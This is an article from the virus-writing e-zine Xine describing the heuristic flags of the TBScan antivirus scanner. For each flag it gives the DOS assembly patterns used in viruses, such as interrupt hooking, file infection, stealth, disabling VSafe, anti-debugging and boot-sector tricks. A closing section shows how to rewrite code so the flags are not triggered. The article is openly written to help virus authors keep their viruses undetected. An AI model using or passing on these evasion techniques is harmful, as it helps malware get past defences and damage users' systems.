/-----------------------------\ | Xine - issue #1 - Phile 007 | \-----------------------------/ ........................... .TBScan Heuristics Flags. . b0z0/iKx . ..................... a) Whassap? ----------- TBScan is, from my point of view, one of the best heuristic scanners in our days. The heuristic scanning based on small strings is very effective versus new viruses, expecially ones with no encryption. I had a lot of problems to fool TBScan heuristics flags, so i decided to write this little article that describes any (or anyway the ones that may be a real danger for our viruses) of those. The used TBScan is the 7.04 one. I already saw two articles (but maybe that are other ones :) ) that described this flags, but that are currently quite old and also some flags (that were added lately) weren't covered or were covered just partially. So here again to describe them :) b) Here we go! -------------- Finally here with the flags description. With _seg_ want to say every segment register CS,DS,ES,SS. With _reg_ every register and with _reg16_ every 16 bits register. With _reg16l_ i think the low 8 bits of a 16 bits register and with _reg16h_ the 8 high ones. Finally _imm8_ means an immediate 8bit value and _imm16_ means an immediate 16bit value. Pay attention, the precedence of some operations generally isn't important, but sometimes is :) So a: mov ax,1a00h mov dx,80h int 21h will cause a flag in the same manner as a: mov dx,80h mov ax,1a00h int 21h The flags will be also triggered if between the suspect passages there is some junk or code that doesn't do anything important. So: mov dx,80h sub cx,cx ;doesn't infect dx mov ax,1a00h inc ax ; dec ax ;ax is the same at the end int 21h will be triggered at the same manner like the precedent ones. Also: mov dx,80h mov ax,1a00h add ax,0f0f0h int 21h will trigger the flag, non considering the value of the register AX at the call of the int :)) Anyway we will talk a little more about this after the flags. c) The flags! ------------- <------------------------------------------ * -F- Suspicious file access. mov ax,4301h ; Set file attributes int 21h call int 21h ; or ; mov ax,5701h ; Set file time/date int 21h call int 21h ; or ; mov cx,03 ;or also 04 ; Write 3 (or 4) bytes to the file. mov ah,40h ; used in com infectors. int 21h ; or ; mov cx,1ch ; Write 1ch bytes to the file. mov ah,40h ; Used in EXE infectors to rewrite int 21h ; the new header. or ; mov ax,1a00h ; mov dx,80h ; set DTA. Used in runtime viruses int 21h ; or ; mov ah,1ah ; again set DTA to ds:80h mov dx,80h ; int 21h ; or ; mov ah,4eh ; findfirst file function int 21h ; <------------------------------------------ * -M- Memory resident code. mov ax,2521h ; Set Int21h int 21h call. int 21h ; or ; mov ax,2513h ; Set Int13h int 21h call. int 21h ; or ; mov ax,2508h ; Set Int08h int 21h call. or ; mov word ptr _seg_:[86h],_seg_ ;direct int21h man. (just segment) or ; mov word ptr _seg_:[4eh],_seg_ ;direct int13h man. (just segment) or ; mov word ptr _seg_:[22h],_seg_ ;direct int08h man. (just segment) or ; lds _reg16_,_seg_:[84h] ; for int 21h or ; lds _reg16_,_seg_:[4ch] ; for int 13h or ; les _reg16_,_seg_:[84h] ; again for 21h or ; les _reg16_,_seg_:[4ch] ; again for 13h <-------------------------------------------- * -O- Found code that can be used to overwrite/move a program in memory mov di,0100h ; Very used when restoring original ; COM file bytes or just when copying ; our virus in memory. But may be also ; used accidentally. <-------------------------------------------- * -t- Program contains a time or date triggered event. mov ah,2ah ; Get system time int 21h call int 21h ; or ; int 1ah ; Get time from BIOS <-------------------------------------------- * -X- Stealth capabilities. cmp ah,11h ; only if both are founded in a file at the same cmp ah,12h ; time the flag will be triggered. this two cmps or ; are generally used for the stealth on the dir ; DOS command mov al,_imm8_ ; used as an antidebug tech out 21h,al ; kbd or ; mov ah,13h ; get/set dos disk int handler int 2fh ; or ; mov ax,13xxh ; int 2fh ; or ; mov ax,12yyh ; when yy in both cases is a value between 00 and int 2fh ; 20. or ; mov ah,12h ; mov al,yyh ; int 2fh ; or ; mov ax,0fa01h ; Disable VSafe int 16h ; or ; mov ah,0fah ; again mov al,01h ; int 16h ; or ; mov _reg16_,0fa01h ; the same but passing trought another register xchg ax,_reg16_ ; int 16h ; or ; mov _reg16h_,0fah ; mov _reg16l_,01h ; xchg ax,_reg16_ ; int 16h ; <--------------------------------------------- * -Z- EXE/COM determination cmp word ptr _seg_:some_data,'ZM' ; check somewhere in the mem ; where we copied the first few ; bytes of the file that is going ; to be infected if it seems to be ; an EXE file or ; cmp _reg16_,'ZM' ; same as the other but in another ; way from a register, 16b of or ; course cmp word ptr _seg_:[_reg16_],'ZM' ; well, here the _reg16_ may only ; be BX/DI/SI of course. <---------------------------------------------- * -E- Flexible Entry-point call doff ; if a POP is founded after a CALL and there doff: pop _reg16_ ; wasn't a PUSH before the flag will be ; triggered. between the CALL and the POP ; there may be also a lot of other code. ; this is used to find the code delta offset. <---------------------------------------------- * -S- Contains a routine to search for executable files. exemask db '*.ex' ; quite obvisious. there is a mask that or ; may be used to search for files to be commask db '*.co' ; infected. generally only present in ; runtime viruses <---------------------------------------------- * -D- Disk Write access. int 26h ; this is the absolute disk write int, so or ; it is obvisious why the flag is set :) mov ah,03h ; or anyway also using disk write of the int 13h ; int 13h will give an alarm. or ; mov ax,03??h ; int 13h ; or ; mov sp,7c00h ; this is a tipical way to change the ; stack pointer in boot infectors so it ; wouldn't write on the virus code. the ; interesting thing is that the flag isn't triggered if ; this MOV is founded in the boot sector but only if ; founded on files... <---------------------------------------------- * -A- Suspicious Memory Allocation. cmp byte ptr _seg_:[0],'Z' ; used when testing if we reached the or ; last MCB sub word ptr _seg_:[3],_imm16_ ; shrink the MCB or ; mov word ptr _seg_:[3],ax ; change the length of the MCB to the AX or ; value mov word ptr _seg_:[413h],ax ; change avaiable memory or ; mov ax,word ptr _seg_:[413h] ; get mem size or ; sub word ptr _seg_:[413h],_imm16_ ; reduce memory or ; int 12h ; get amount of memory and prepare CL to mov cl,_imm8_ ; be used to shift AX for some times <---------------------------------------------- * -K- Unusual stack. This flag is generally set in all the EXE infectors. The flag is set because in the header the stack pointer points a lot after the executable code. <---------------------------------------------- * -1- Found instructions which require a 80186 processor or above. This is set when a non 8088 instruction is founded, ie.: LEAVE <---------------------------------------------- * -L- The program traps the loading of software. cmp ah,4bh ; if a compare of the AX register with jmp somewhere ; the 4b00h (load and execute) or a cmp or ; of the AH with the 4bh is founded before cmp ax,4b00h ; a jump (indifferently which) the flag jmp somewhere ; is triggered. this code is usually used ; in interrupt 21h handlers. <---------------------------------------------- * -B- Back to entry point. mov _reg16_,0100h ; this is typically used when we want to jmp _reg16_ ; give again the control to the victim or ; file in COM infections. mov _reg16_,0100h ; just the same push _reg16_ ; ret ; <---------------------------------------------- * -N- Wrong name extension The file is an EXE but the extension is .COM or the file is a COM but has an EXE extension. <---------------------------------------------- * -?- Inconsistent exe-header. The header is inconsistent. This may occour with a COM file that has the first two bytes equal to 'MZ', so TBSCAN will first think it is an EXE, but then he will found an inconsistence in the "header". This flag may also occour if the file size calculated from the header is bigger than the real file on the disk. <---------------------------------------------- * -U- Undocumented interrupt/DOS call. This flag is set then a strange interrupt or a strange dos system call is used. <---------------------------------------------- * -#- Found a code decrytion routine or debugger trap loopy: mov [_reg16_],_reg_ ; this flag is set when a dec _reg_ ; loop of some instructions ; that changes something in jnz loopy ; memory. also a counter or or ; something like must occour ourloop: xor word ptr _seg_:[_reg16_],_reg16_ ; to give more inc _reg16_ ; credibility to the loop :) loop ourloop ; if we are using loop then TBScan ; will check what is in the CX ; register. If the value is greater of 10h ; then the flag will be triggered. The same thing occours ; if we use another register as a counter (let's say DX) ; and we decrement it and then check for the desired ; condition (ie. if it is zero). If we don't define DX or or ; if DX is greater than 10h then the flag will be ; triggered. Then if we use a two layer encryption, when ; the first encrypts (of course if it doesn't trigger ; accidently other flags such as "D" or "U", because for ; the user 11 flags are the same as 10 :) ) the entire ; virus body (or file or something else) and the second, ; which will be unencrypted, encrypt just the other ; decryption loop (of course <= 10h) then TBscan wouldn't ; pay attention to it at all. mov ax,2501h ; this sets the Int 01h handler to another int 21h ; routine. This may be used to crash some or ; debuggers mov word ptr _seg_:[06h],_seg_ ; manipulate Int 01h segment <---------------------------------------------- * -R- Relocator. rep _movs instr_ ; the flag will be se if a rep of a movs retf ; instruction (movsb, movsw, movsd) is founded ; *near the start* (or anyway is called ; from somewhere at the start). this may seems or ; that the program copies itself somewhere ; and then uses a RETF (a push may be ; present to have a real effect) to jump ; somewhere else for example to the newly ; copied code. push _reg16_ ; here we push a register (with a memory ret ; location for example) and jump to it ; with a ret or ; push _imm16_ ; we just push a immediate (a mem loc ret ; maybe) and then return there with a ret or ; sub sp,_imm16_ ; this may occour if we put our location ret ; in the stack and then we want to jump or ; there with the ret sub sp,_reg16_ ; again... attention, _reg16_ must be ret ; inizialized somewhere to trigger the or ; flag. add sp,_imm16_ ; this is basically the same as the ret ; precedent or ; add sp,_reg16_ ; another one ret ; or ; inc sp ; also more than one inc. identic to the ret ; add one or ; dec sp ; again ret ; or ; mov sp,_imm16_ ; move SP somewhere where we may store the ret ; adress where we want to jump with this or ; ret shr sp,_imm16_ ; yet another R flag :) _imm16_ has a max ret ; value. or ; shl sp,_imm16_ ; ret ; or ; neg sp ; if we put our return value on ss:neg(sp) ret ; ; so basically the R flag is triggered ; everytime that the SP is modified before a call. The ; flag will be also triggered for example if we call a ; procedure (which will change our CS:IP), then we POP ; more times than PUSH, so the SP at the RET wouldn't be ; the same as it has been at CALL time. <---------------------------------------------- * -!- Invalid opcode or out-of-range branch. This occours when a invalid opcode (such as 66h for example) is founded or if a jump of the code point somewhere out of it. <---------------------------------------------- * -G- Garbage instructions. this flag is triggered if there is one of this operations but before it in the registers it seems that there isn't anything logical into them. If a MOV to a register is encountered before the operation (also if the MOV is into another register, not the used one) the flag would not be triggered! TBScan put the G flag only if any of this instruction is founded (without a MOV initialisation) in the first few bytes (about 30). AAA AAS ADD _reg_,_reg_ ADD _reg_,_imm_ ADC _reg_,_reg_ ADC _reg_,_imm_ AND _reg_,_reg_ AND _reg_,_imm_ CBW CWD CLC CMP _reg_,_reg_ DAA DAS DEC _reg16_ INC _reg16_ OR _reg_,_reg_ OR _reg_,_imm_ POPF STC XCHG _reg16_,_reg16_ XOR _reg16_,_reg16_ XOR _reg16_,_imm_ <---------------------------------------------- * -@- Encountered instructions which are not likely to be generated by an assembler, but by some code generator like a polymorphic virus. This is triggered when a strange operation, quite unused, is encountered. Some examples of stange operations may be: HLT AAA <---------------------------------------------- * -J- Suspicious jump construct. This flag is triggered when a jump that points on another jump somewhere in the code is founded near the entry point of the program. For example: start: jmp foolit i_am_back: . . ; . ; here is some data/code . ; . foolit: jmp i_am_back d) Flags on boot sectors ------------------------ TBScan is very unfriendly with tipical boot sector viruses :) Infact even only a "413h" in the boot sector will trigger two flags, the A and the M ones. For example: mov _reg16_,word ptr _seg_:[413h] ; trigger flags AM dec word ptr _seg_:[413h] ; trigger flags AM but also a db 90h,13h,04h,90h trigger 2 flags in a row :) so pay attention when allocating memory! TBScan of course doesn't use the same search strings as for files when scanning boot sectors. Let's give a look to the suspicious instructions that we can't use in our BS viruses: mov ax,3xx ; Write xx sectors will trigger the D flag int 13h ; ; mov cx,_imm16_ ; this will trigger the O flag. this may rep movsb ; be a piece of a routine which is used to ; copy our virus in memory or something ; like. ; mov cx,_imm16_ ; again the O flag. rep movsw ; ; mov word ptr _seg_:[004eh],_seg_ ; put our segment instead of the ; original segment of the int13h. this ; will trigger A and M flags mov word ptr _seg_:[004ch],_reg16_ ; put offset of our handler ; instead of the original one. this will ; trigger A and M flags mov word ptr _seg_:[004ch],_imm16_ ; set new int13h offset ; trigger A and M flags mov word ptr _seg_:[004eh],_imm16_ ; set new int13h segment ; trigger A and M flags int 12h ; get amount of memory ; this will trigger the A flag. int 1ah ; will trigger the 't' flag also here ; Well, as in the files viriis also in boot sectors strange calls will be flagged with the U flag. And finally if the BS/MBR marker 55aah isn't present TBScan will trigger the Y flag. e) Fooling the flags -------------------- For almost any of the described flags the way to fool them is to do the same operation in another way. For example: Triggered: Not Triggered: cmp ah,4bh ; push bx je somewhere ; mov bh,4bh ; cmp ah,bh ; je somewhere ; pop bx This example gives you an idea of how you can fool almost any of the flags. Of course the resulting code wouldn't be pretty and short like the original one, but it won't be flagged. Anyway there are many ways to change in this way the code, and some are also quite efficent and optimized, so just have a little of imagination or don't cry if TBScan catches your virus :)